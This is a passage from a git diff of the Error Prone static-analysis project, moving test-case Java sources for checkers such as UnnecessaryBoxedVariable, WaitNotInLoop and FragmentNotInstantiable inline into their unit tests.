"baz"; + + public void foo(int x, int y, int z) {} + + public void quux() {} + + public void quux(int x) {} + + public static final int X = 0; + public static final int Y = 1; + + public void quux(int x, int y) {} + + private int quux; + + public void norf() {} + + public void quux(int x, int y, int z) {} + + public void thud() {} + }""") + .addOutputLines( + "UngroupedOverloadsRefactoringMultiple_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringMultiple { + + public void foo() {} + + public void foo(int x) {} + + public void foo(int x, int y) {} + + public void foo(int x, int y, int z) {} + + private static class foo {} + + public void bar() {} + + public static final String BAZ = "baz"; + + public void quux() {} + + public void quux(int x) {} + + public void quux(int x, int y) {} + + public void quux(int x, int y, int z) {} + + public static final int X = 0; + public static final int Y = 1; + + private int quux; + + public void norf() {} + + public void thud() {} + }""") .doTest(); } @Test public void ungroupedOverloadsRefactoringInterleaved() { refactoringHelper - .addInput("testdata/UngroupedOverloadsRefactoringInterleaved.java") - .addOutput("testdata/UngroupedOverloadsRefactoringInterleaved_expected.java") + .addInputLines( + "UngroupedOverloadsRefactoringInterleaved.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringInterleaved { + + public void foo() {} + + public void baz() {} + + public void bar() {} + + public void foo(int x) {} + + public void baz(int x) {} + + public void foo(int x, int y) {} + + public void quux() {} + + public void baz(int x, int y) {} + + public void quux(int x) {} + + public void bar(int x) {} + + public void quux(int x, int y) {} + + public void foo(int x, int y, int z) {} + + public void bar(int x, int y) {} + }""") + .addOutputLines( + "UngroupedOverloadsRefactoringInterleaved_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringInterleaved { + + public void foo() {} + + public void foo(int x) {} + + public void foo(int x, int y) {} + + public void foo(int x, int y, int z) {} + + public void baz() {} + + public void baz(int x) {} + + public void baz(int x, int y) {} + + public void bar() {} + + public void bar(int x) {} + + public void bar(int x, int y) {} + + public void quux() {} + + public void quux(int x) {} + + public void quux(int x, int y) {} + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java index ea08aafd33b..5152e81965d 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java @@ -32,8 +32,150 @@ public class UnnecessaryBoxedAssignmentTest { @Test public void cases() { helper - .addInput("testdata/UnnecessaryBoxedAssignmentCases.java") - .addOutput("testdata/UnnecessaryBoxedAssignmentCases_expected.java") + .addInputLines( + "UnnecessaryBoxedAssignmentCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.function.Function; + + /** + * @author awturner@google.com (Andy Turner) + */ + class UnnecessaryBoxedAssignmentCases { + void negative_void() { + return; + } + + boolean positive_booleanPrimitive(boolean aBoolean) { + return Boolean.valueOf(aBoolean); + } + + Boolean positive_booleanWrapped(boolean aBoolean) { + Boolean b = Boolean.valueOf(aBoolean); + return Boolean.valueOf(aBoolean); + } + + Boolean negative_booleanString(String aString) { + Boolean b = Boolean.valueOf(aString); + return Boolean.valueOf(aString); + } + + byte positive_bytePrimitive(byte aByte) { + return Byte.valueOf(aByte); + } + + Byte positive_byteWrapped(byte aByte) { + Byte b = Byte.valueOf(aByte); + return Byte.valueOf(aByte); + } + + Byte negative_byteString(String aString) { + Byte b = Byte.valueOf(aString); + return Byte.valueOf(aString); + } + + int positive_integerPrimitive(int aInteger) { + return Integer.valueOf(aInteger); + } + + Integer positive_integerWrapped(int aInteger) { + Integer i = Integer.valueOf(aInteger); + return Integer.valueOf(aInteger); + } + + Integer negative_integerString(String aString) { + Integer i = Integer.valueOf(aString); + return Integer.valueOf(aString); + } + + Long negative_integerWrapped(int aInteger) { + Long aLong = Long.valueOf(aInteger); + return Long.valueOf(aInteger); + } + + Integer positive_wrappedAgain(int aInteger) { + Integer a = Integer.valueOf(aInteger); + a = Integer.valueOf(aInteger); + return Integer.valueOf(a); + } + + void negative_methodReference() { + Function toBoolean = Boolean::valueOf; + } + }""") + .addOutputLines( + "UnnecessaryBoxedAssignmentCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.function.Function; + + /** + * @author awturner@google.com (Andy Turner) + */ + class UnnecessaryBoxedAssignmentCases { + void negative_void() { + return; + } + + boolean positive_booleanPrimitive(boolean aBoolean) { + return aBoolean; + } + + Boolean positive_booleanWrapped(boolean aBoolean) { + Boolean b = aBoolean; + return aBoolean; + } + + Boolean negative_booleanString(String aString) { + Boolean b = Boolean.valueOf(aString); + return Boolean.valueOf(aString); + } + + byte positive_bytePrimitive(byte aByte) { + return aByte; + } + + Byte positive_byteWrapped(byte aByte) { + Byte b = aByte; + return aByte; + } + + Byte negative_byteString(String aString) { + Byte b = Byte.valueOf(aString); + return Byte.valueOf(aString); + } + + int positive_integerPrimitive(int aInteger) { + return aInteger; + } + + Integer positive_integerWrapped(int aInteger) { + Integer i = aInteger; + return aInteger; + } + + Integer negative_integerString(String aString) { + Integer i = Integer.valueOf(aString); + return Integer.valueOf(aString); + } + + Long negative_integerWrapped(int aInteger) { + Long aLong = Long.valueOf(aInteger); + return Long.valueOf(aInteger); + } + + Integer positive_wrappedAgain(int aInteger) { + Integer a = aInteger; + a = aInteger; + return a; + } + + void negative_methodReference() { + Function toBoolean = Boolean::valueOf; + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java index 797d4ebfde9..c8b1eeb04ce 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java @@ -37,8 +37,405 @@ public class UnnecessaryBoxedVariableTest { @Test public void cases() { helper - .addInput("testdata/UnnecessaryBoxedVariableCases.java") - .addOutput("testdata/UnnecessaryBoxedVariableCases_expected.java") + .addInputLines( + "UnnecessaryBoxedVariableCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import java.util.List; + import java.util.stream.Stream; + import org.jspecify.annotations.Nullable; + + /** @author awturner@google.com (Andy Turner) */ + class UnnecessaryBoxedVariableCases { + void positive_local() { + Integer i = 0; + } + + int positive_local_return() { + Integer i = 0; + return i; + } + + Integer positive_local_addition() { + Integer i = 0; + return i + 1; + } + + void positive_local_compoundAddition(Integer addend) { + Integer i = 0; + i += addend; + + int j = 0; + j += i; + } + + void positive_methodInvocation() { + Integer i = 0; + methodPrimitiveArg(i); + } + + void negative_methodInvocation() { + Integer i = 0; + methodBoxedArg(i); + } + + void positive_assignedValueOf() { + Integer i = Integer.valueOf(0); + } + + int positive_assignedValueOf_return() { + Integer i = Integer.valueOf(0); + return i; + } + + int positive_noInitializer() { + Integer i; + i = 0; + return i; + } + + void negative_enhancedForLoopOverCollection(List list) { + for (Integer i : list) {} + } + + void negative_enhancedForLoopOverWrappedArray(Integer[] array) { + for (Integer i : array) {} + } + + void positive_enhancedForLoopOverPrimitiveArray(int[] array) { + for (Integer i : array) {} + } + + final void negative_invokeMethod(Integer i) throws InterruptedException { + i.wait(0); + } + + final Object[] negative_objectArray(Long l) { + return new Object[] {"", l}; + } + + void negative_null() { + Integer i = null; + } + + void negative_null_noInitializer() { + Integer i; + i = null; + i = 0; + } + + void negative_null_reassignNull() { + Integer i = 0; + i = null; + } + + void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { + for (Integer i : array) { + i = null; + } + } + + void negative_boxedVoid() { + Void v; + } + + int negative_assignmentInReturn() { + Integer myVariable; + return myVariable = methodBoxedArg(42); + } + + int positive_assignmentInReturn() { + Integer myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_assignmentInReturn2() { + Integer myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_hashCode() { + Integer myVariable = 0; + return myVariable.hashCode(); + } + + short positive_castMethod() { + Integer myVariable = 0; + return myVariable.shortValue(); + } + + int positive_castMethod_sameType() { + Integer myVariable = 0; + return myVariable.intValue(); + } + + void positive_castMethod_statementExpression() { + Integer myVariable = 0; + myVariable.longValue(); + } + + void negative_methodReference() { + Integer myVariable = 0; + Stream stream = Stream.of(1).filter(myVariable::equals); + } + + static void positive_parameter_staticMethod(Boolean b) { + boolean a = b; + } + + static void negative_parameter_staticMethod(Boolean b) { + System.out.println("a " + b); + } + + static boolean positive_parameter_returnType(Boolean b) { + return b; + } + + void negative_parameter_instanceMethod_nonFinal(Boolean b) { + boolean a = b; + } + + final void negative_parameter_instanceMethod_final(Boolean b) { + boolean a = b; + } + + static void negative_parameter_unused(Integer i) {} + + static void positive_removeNullable_parameter(@Nullable Integer i) { + int j = i; + } + + static void positive_removeNullable_localVariable() { + @Nullable Integer i = 0; + @org.jspecify.annotations.Nullable Integer j = 0; + int k = i + j; + } + + static int positive_nullChecked_expression(Integer i) { + return checkNotNull(i); + } + + static int positive_nullChecked_expression_message(Integer i) { + return checkNotNull(i, "Null: [%s]", i); + } + + static int positive_nullChecked_statement(Integer i) { + checkNotNull(i); + return i; + } + + static int positive_nullChecked_statement_message(Integer i) { + checkNotNull(i, "Null: [%s]", i); + return i; + } + + private void methodPrimitiveArg(int i) {} + + private Integer methodBoxedArg(Integer i) { + return i; + } + }""") + .addOutputLines( + "UnnecessaryBoxedVariableCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import java.util.List; + import java.util.stream.Stream; + import org.jspecify.annotations.Nullable; + + /** @author awturner@google.com (Andy Turner) */ + class UnnecessaryBoxedVariableCases { + void positive_local() { + int i = 0; + } + + int positive_local_return() { + int i = 0; + return i; + } + + Integer positive_local_addition() { + int i = 0; + return i + 1; + } + + void positive_local_compoundAddition(Integer addend) { + int i = 0; + i += addend; + + int j = 0; + j += i; + } + + void positive_methodInvocation() { + int i = 0; + methodPrimitiveArg(i); + } + + void negative_methodInvocation() { + Integer i = 0; + methodBoxedArg(i); + } + + void positive_assignedValueOf() { + int i = Integer.valueOf(0); + } + + int positive_assignedValueOf_return() { + int i = Integer.valueOf(0); + return i; + } + + int positive_noInitializer() { + int i; + i = 0; + return i; + } + + void negative_enhancedForLoopOverCollection(List list) { + for (Integer i : list) {} + } + + void negative_enhancedForLoopOverWrappedArray(Integer[] array) { + for (Integer i : array) {} + } + + void positive_enhancedForLoopOverPrimitiveArray(int[] array) { + for (int i : array) {} + } + + final void negative_invokeMethod(Integer i) throws InterruptedException { + i.wait(0); + } + + final Object[] negative_objectArray(Long l) { + return new Object[] {"", l}; + } + + void negative_null() { + Integer i = null; + } + + void negative_null_noInitializer() { + Integer i; + i = null; + i = 0; + } + + void negative_null_reassignNull() { + Integer i = 0; + i = null; + } + + void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { + for (Integer i : array) { + i = null; + } + } + + void negative_boxedVoid() { + Void v; + } + + int negative_assignmentInReturn() { + Integer myVariable; + return myVariable = methodBoxedArg(42); + } + + int positive_assignmentInReturn() { + int myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_assignmentInReturn2() { + int myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_hashCode() { + int myVariable = 0; + return Integer.hashCode(myVariable); + } + + short positive_castMethod() { + int myVariable = 0; + return (short) myVariable; + } + + int positive_castMethod_sameType() { + int myVariable = 0; + return myVariable; + } + + void positive_castMethod_statementExpression() { + int myVariable = 0; + } + + void negative_methodReference() { + Integer myVariable = 0; + Stream stream = Stream.of(1).filter(myVariable::equals); + } + + static void positive_parameter_staticMethod(boolean b) { + boolean a = b; + } + + static void negative_parameter_staticMethod(Boolean b) { + System.out.println("a " + b); + } + + static boolean positive_parameter_returnType(boolean b) { + return b; + } + + void negative_parameter_instanceMethod_nonFinal(Boolean b) { + boolean a = b; + } + + final void negative_parameter_instanceMethod_final(boolean b) { + boolean a = b; + } + + static void negative_parameter_unused(Integer i) {} + + static void positive_removeNullable_parameter(int i) { + int j = i; + } + + static void positive_removeNullable_localVariable() { + int i = 0; + int j = 0; + int k = i + j; + } + + static int positive_nullChecked_expression(int i) { + return i; + } + + static int positive_nullChecked_expression_message(int i) { + return i; + } + + static int positive_nullChecked_statement(int i) { + return i; + } + + static int positive_nullChecked_statement_message(int i) { + return i; + } + + private void methodPrimitiveArg(int i) {} + + private Integer methodBoxedArg(Integer i) { + return i; + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java index 07bda2df933..a4c7db13941 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java @@ -39,14 +39,187 @@ public class UnnecessaryLongToIntConversionTest { @Test public void longParameterLongToIntPositiveCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryLongToIntConversionPositiveCases.java") + .addSourceLines( + "UnnecessaryLongToIntConversionPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.flags.Flag; +import com.google.common.primitives.Ints; + +/** Positive cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ +public class UnnecessaryLongToIntConversionPositiveCases { + + + static void acceptsLong(long value) {} + + static void acceptsMultipleParams(int intValue, long longValue) {} + + public void longToIntForLongParam() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong((int) x); + } + + public void longObjectToIntForLongParam() { + Long x = Long.valueOf(1); + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(x.intValue()); + } + + public void convertMultipleArgs() { + long x = 1; + // The method expects an int for the first parameter and a long for the second parameter. + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsMultipleParams(Ints.checkedCast(x), Ints.checkedCast(x)); + } + + // The following test cases test various conversion methods, including an unchecked cast. + public void castToInt() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong((int) x); + } + + public void checkedCast() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(Ints.checkedCast(x)); + } + + public void toIntExact() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(Math.toIntExact(x)); + } + + public void toIntExactWithLongObject() { + Long x = Long.valueOf(1); + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(Math.toIntExact(x)); + } + + public void intValue() { + Long x = Long.valueOf(1); + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(x.intValue()); + } +}""") .doTest(); } @Test public void longParameterLongToIntNegativeCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryLongToIntConversionNegativeCases.java") + .addSourceLines( + "UnnecessaryLongToIntConversionNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.primitives.Ints; + +/** Negative cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ +public class UnnecessaryLongToIntConversionNegativeCases { + + static void acceptsLong(long value) {} + + static void acceptsInt(int value) {} + + static void acceptsMultipleParams(int intValue, long longValue) {} + + // Converting from a long or Long to an Integer type requires first converting to an int. This is + // out of scope. + public void longToIntegerForLongParam() { + long x = 1; + acceptsLong(Integer.valueOf((int) x)); + } + + public void longObjectToIntegerForLongParam() { + Long x = Long.valueOf(1); + acceptsLong(Integer.valueOf(x.intValue())); + } + + public void longParameterAndLongArgument() { + long x = 1; + acceptsLong(x); + } + + public void longParameterAndIntArgument() { + int i = 1; + acceptsLong(i); + } + + public void longParameterAndIntegerArgument() { + Integer i = Integer.valueOf(1); + acceptsLong(i); + } + + public void castIntToLong() { + int i = 1; + acceptsLong((long) i); + } + + public void castLongToIntForIntParameter() { + long x = 1; + acceptsInt((int) x); + } + + public void longValueOfLongObject() { + Long x = Long.valueOf(1); + acceptsLong(x.longValue()); + } + + public void longValueOfInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(i.longValue()); + } + + public void intValueOfInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(i.intValue()); + } + + public void intValueForIntParameter() { + Long x = Long.valueOf(1); + acceptsInt(x.intValue()); + } + + public void checkedCastOnInt() { + int i = 1; + acceptsLong(Ints.checkedCast(i)); + } + + public void checkedCastOnInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(Ints.checkedCast(i)); + } + + public void checkedCastForIntParameter() { + long x = 1; + acceptsInt(Ints.checkedCast(x)); + } + + public void checkedCastMultipleArgs() { + long x = 1; + // The method expects an int for the first parameter and a long for the second parameter. + acceptsMultipleParams(Ints.checkedCast(x), x); + } + + public void toIntExactOnInt() { + int i = 1; + acceptsLong(Math.toIntExact(i)); + } + + public void toIntExactOnInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(Math.toIntExact(i)); + } + + public void toIntExactForIntParameter() { + long x = 1; + acceptsInt(Math.toIntExact(x)); + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java index 256ef96bcef..aae527bdfcc 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java @@ -143,7 +143,44 @@ private Fn newInstanceOnGetDeclaredConstructorChained() throws Exception { @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/UnsafeReflectiveConstructionCastNegativeCases.java") + .addSourceLines( + "UnsafeReflectiveConstructionCastNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Negative cases for {@link UnsafeReflectiveConstructionCast}. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class UnsafeReflectiveConstructionCastNegativeCases { + + public String newInstanceDirectCall() throws Exception { + return (String) Class.forName("java.lang.String").newInstance(); + } + + public String newInstanceDirectlyOnClassAndGetDeclaredConstructor() throws Exception { + return (String) String.class.getDeclaredConstructor().newInstance(); + } + + public String newInstanceDirectlyOnClassAndNewInstance() throws Exception { + return (String) String.class.newInstance(); + } + + public String invocationWithAsSubclass() throws Exception { + return Class.forName("java.lang.String").asSubclass(String.class).newInstance(); + } + + public class Supplier { + public T get(String className) { + try { + return (T) Class.forName(className).getDeclaredConstructor().newInstance(); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException(e); + } + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java index 38d9d1eccb0..fc300957034 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java @@ -32,11 +32,189 @@ public class WaitNotInLoopTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/WaitNotInLoopPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "WaitNotInLoopPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Date; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.Condition; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class WaitNotInLoopPositiveCases { + + boolean flag = false; + + public void testIfInsteadOfLoop() { + synchronized (this) { + if (!flag) { + try { + // BUG: Diagnostic contains: wait() must always be called in a loop + // Did you mean 'while (!flag) {'? + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void testWaitLong() throws InterruptedException { + // BUG: Diagnostic contains: wait(long) must always be called in a loop + wait(1000); + } + + public void testWaitLongInt() throws Exception { + // BUG: Diagnostic contains: wait(long,int) must always be called in a loop + wait(1000, 1000); + } + + public void testAwait(Condition cond) throws Exception { + // BUG: Diagnostic contains: await() must always be called in a loop + cond.await(); + } + + public void testAwaitWithFix(Condition cond) throws Exception { + synchronized (this) { + if (!flag) { + try { + // BUG: Diagnostic contains: await() must always be called in a loop + // Did you mean 'while (!flag) {'? + cond.await(); + } catch (InterruptedException e) { + } + } + } + } + + public void testAwaitLongTimeUnit(Condition cond) throws Exception { + // BUG: Diagnostic contains: + // await(long,java.util.concurrent.TimeUnit) must always be called in a loop + cond.await(1, TimeUnit.SECONDS); + } + + public void testAwaitNanos(Condition cond) throws Exception { + // BUG: Diagnostic contains: awaitNanos(long) must always be called in a loop + cond.awaitNanos(1000000); + } + + public void testAwaitUninterruptibly(Condition cond) throws Exception { + // BUG: Diagnostic contains: awaitUninterruptibly() must always be called in a loop + cond.awaitUninterruptibly(); + } + + public void testAwaitUntil(Condition cond) throws Exception { + // BUG: Diagnostic contains: awaitUntil(java.util.Date) must always be called in a loop + cond.awaitUntil(new Date()); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/WaitNotInLoopNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "WaitNotInLoopNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + *

TODO(eaftan): Add test cases for enhanced for loop, loop outside synchronized block. + */ +public class WaitNotInLoopNegativeCases { + + boolean flag = true; + + public void test1() { + synchronized (this) { + while (!flag) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void test2() { + synchronized (this) { + while (!flag) { + try { + wait(1000); + } catch (InterruptedException e) { + } + } + } + } + + public void test3() { + synchronized (this) { + while (!flag) { + try { + wait(1000, 1000); + } catch (InterruptedException e) { + } + } + } + } + + // This code is incorrect, but this check should not flag it. + public void testLoopNotInSynchronized() { + while (!flag) { + synchronized (this) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void testDoLoop() { + synchronized (this) { + do { + try { + wait(); + } catch (InterruptedException e) { + } + } while (!flag); + } + } + + public void testForLoop() { + synchronized (this) { + for (; !flag; ) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void testEnhancedForLoop() { + int[] arr = new int[100]; + synchronized (this) { + for (int i : arr) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + private void wait(Object obj) {} + + public void testNotObjectWait() { + wait(new Object()); + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java index 5f559762873..da963d9a162 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java @@ -30,7 +30,18 @@ public final class BinderIdentityRestoredDangerouslyTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(BinderIdentityRestoredDangerously.class, getClass()) - .addSourceFile("testdata/stubs/android/os/Binder.java") + .addSourceLines( + "Binder.java", + """ + package android.os; + + public class Binder { + public static final long clearCallingIdentity() { + return 1; + } + + public static final void restoreCallingIdentity(long token) {} + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java index 4b560b99306..ade90eeffe6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java @@ -30,7 +30,17 @@ public final class FragmentInjectionTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(FragmentInjection.class, getClass()) - .addSourceFile("testdata/stubs/android/preference/PreferenceActivity.java") + .addSourceLines( + "PreferenceActivity.java", + """ + package android.preference; + + @SuppressWarnings("FragmentInjection") + public class PreferenceActivity { + protected boolean isValidFragment(String className) { + return true; + } + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java index 8f0528c73cd..2ddc85e10d7 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java @@ -46,40 +46,486 @@ public CustomFragmentNotInstantiable() { @Test public void positiveCases() { createCompilationTestHelper(FragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiablePositiveCases.java") + .addSourceLines( + "FragmentNotInstantiablePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiablePositiveCases { + // BUG: Diagnostic contains: public + static class PrivateFragment extends Fragment { + public PrivateFragment() {} + } + + // BUG: Diagnostic contains: public + static class PrivateV4Fragment extends android.support.v4.app.Fragment { + public PrivateV4Fragment() {} + } + + public static class PrivateConstructor extends Fragment { + // BUG: Diagnostic contains: public + PrivateConstructor() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructor extends Fragment { + public NoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructorV4 extends android.support.v4.app.Fragment { + public NoConstructorV4(int x) {} + } + + public static class ParentFragment extends Fragment { + public ParentFragment() {} + } + + public static class ParentFragmentV4 extends android.support.v4.app.Fragment { + public ParentFragmentV4() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructor extends ParentFragment { + public DerivedFragmentNoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { + public DerivedFragmentNoConstructorV4(boolean b) {} + } + + public class EnclosingClass { + // BUG: Diagnostic contains: static + public class InnerFragment extends Fragment { + public InnerFragment() {} + } + + public Fragment create1() { + // BUG: Diagnostic contains: public + return new Fragment() {}; + } + + public Fragment create2() { + // BUG: Diagnostic contains: public + class LocalFragment extends Fragment {} + return new LocalFragment(); + } + } + }""") .doTest(); } @Test public void negativeCase() { createCompilationTestHelper(FragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiableNegativeCases.java") + .addSourceLines( + "FragmentNotInstantiableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiableNegativeCases { + public static class NotAFragment1 { + public NotAFragment1(int x) {} + } + + public static class NotAFragment2 { + private NotAFragment2() {} + } + + private static class NotAFragment3 {} + + public class NotAFragment4 {} + + private abstract class AbstractFragment extends Fragment { + public AbstractFragment(int x) {} + } + + private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment extends Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class DerivedFragment extends MyFragment {} + + public static class MyV4Fragment extends android.support.v4.app.Fragment {} + + public static class DerivedV4Fragment extends MyV4Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment2 extends Fragment { + public MyFragment2() {} + + public MyFragment2(int x) {} + } + + public static class DerivedFragment2 extends MyFragment2 { + public DerivedFragment2() {} + + public DerivedFragment2(boolean b) {} + } + + public static class EnclosingClass { + public static class InnerFragment extends Fragment { + public InnerFragment() {} + } + } + + interface AnInterface { + public class ImplicitlyStaticInnerFragment extends Fragment {} + + class ImplicitlyStaticAndPublicInnerFragment extends Fragment {} + } + }""") .doTest(); } @Test public void positiveCases_custom() { createCompilationTestHelper(CustomFragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiablePositiveCases.java") - .addSourceFile("testdata/CustomFragment.java") - .addSourceFile("testdata/CustomFragmentNotInstantiablePositiveCases.java") + .addSourceLines( + "FragmentNotInstantiablePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiablePositiveCases { + // BUG: Diagnostic contains: public + static class PrivateFragment extends Fragment { + public PrivateFragment() {} + } + + // BUG: Diagnostic contains: public + static class PrivateV4Fragment extends android.support.v4.app.Fragment { + public PrivateV4Fragment() {} + } + + public static class PrivateConstructor extends Fragment { + // BUG: Diagnostic contains: public + PrivateConstructor() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructor extends Fragment { + public NoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructorV4 extends android.support.v4.app.Fragment { + public NoConstructorV4(int x) {} + } + + public static class ParentFragment extends Fragment { + public ParentFragment() {} + } + + public static class ParentFragmentV4 extends android.support.v4.app.Fragment { + public ParentFragmentV4() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructor extends ParentFragment { + public DerivedFragmentNoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class 